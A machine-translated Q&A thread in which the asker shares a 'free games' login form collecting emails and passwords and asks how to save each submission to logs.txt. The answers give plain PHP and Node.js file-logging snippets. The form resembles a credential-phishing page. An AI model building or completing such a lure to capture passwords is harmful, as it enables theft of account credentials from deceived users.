将表单中的日志保存到txt文件中

时间:2017-04-30 17:58:37

标签: javascript html

form {position: absolute; left: 45%; top: 35%;}
#email {position: relative;left: 30%;bottom: 90%;text-shadow:1px 1px #D8E3EC;color: #097BDA;}
#password {position: relative;left: 25%;bottom: 100%;text-shadow:1px 1px #D8E3EC;color: #097BDA;}
#submit {position: absolute;bottom: -30%;left: -30%;text-shadow:1px 1px #D8E3EC;padding: 0.5% 25%;border-radius: 2px;background-color: #31A1FF;border-width: 4px;border-color: #0468BB;}
#submit:hover{background-color: #67BAFF;}
#eee {border-radius: 5px;}
#ppp {border-radius: 5px;}
#titlu {position: absolute;left: 31.5%;text-shadow:2px 2px #F9FBFC;font-family: fantasy;color: #097BDA;}
body {background-image: url(background.jpg);}
#tran {opacity: 0.9;position: absolute;left: 37%;top: 20%;;width: 30px 30px;}
<!DOCTYPE HTML>
<html>
<head>
<title>Website</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>

<body>
<img id="tran" src="tran.jpg">
<h1 id="titlu">Welcome,please login to get free games right now!</h1>

<form class="formm" action="form.php" method="get">
<p id="email">Email</p>
<input id="eee" type="email" placeholder="Put your email here"><br />
<p id="password">Password</p>
<input id="ppp" type="password" placeholder="Put your password here"> <br />
<input id="submit" type="submit" value="GET YOUR FREE GAME NOW!">



</form>

</body>


</html>

所以我想添加类似的内容 - 当我输入我的电子邮件和密码并按下提交按钮时,将日志转换为另一个文件,例如logs.txt。

2 个答案:

答案 0 :(得分:0)

在PHP中创建文件并在其中编写内容非常简单。如果您想在每次有人提交表单时写一个日志,您只需要调用此函数:

<?php
function write_log($string) {
    $log_file = 'log.txt';       
    $string .= PHP_EOL; 
    if ($fh = @fopen($log_file, "a+")) {
        fputs($fh, $string, strlen($string));
        fclose($fh);
        return true;
    } else {
        return false;
    }
}
?>

当然它必须存在一个名为&#39; log.txt&#39;的文件。写入。如果它超出,您只需要调用此函数将日志内容设置为string参数。这是一个例子:

<?
//Write "Hello World" into your log.txt file.
write_log("Hello World");
?>

PHP_EOL做什么?
PHP_EOL是一个常量,只需找到在您正在使用的系统中断行的最佳方法。因此,您可以插入多个格式化为精美模式的行,而无需执行任何操作。


<强>参考
http://php.net/manual/en/reserved.constants.php
http://php.net/manual/en/function.fputs.php

答案 1 :(得分:0)

Javascript无法写入log.txt文件,除非您使用scripting.FileSystemObject这是一个ActiveX并且只运行IE。我建议使用console.log()来实现它,或者调用web服务来编写另一端的日志。

更新:如果您具有灵活性,nodeJs可以为您提供filesystem

的解决方案
var fs = require('fs');

fs.appendFile('log.txt', 'Log text data to append', function (err) {
  if (err) throw err;
  console.log('Log updated');
});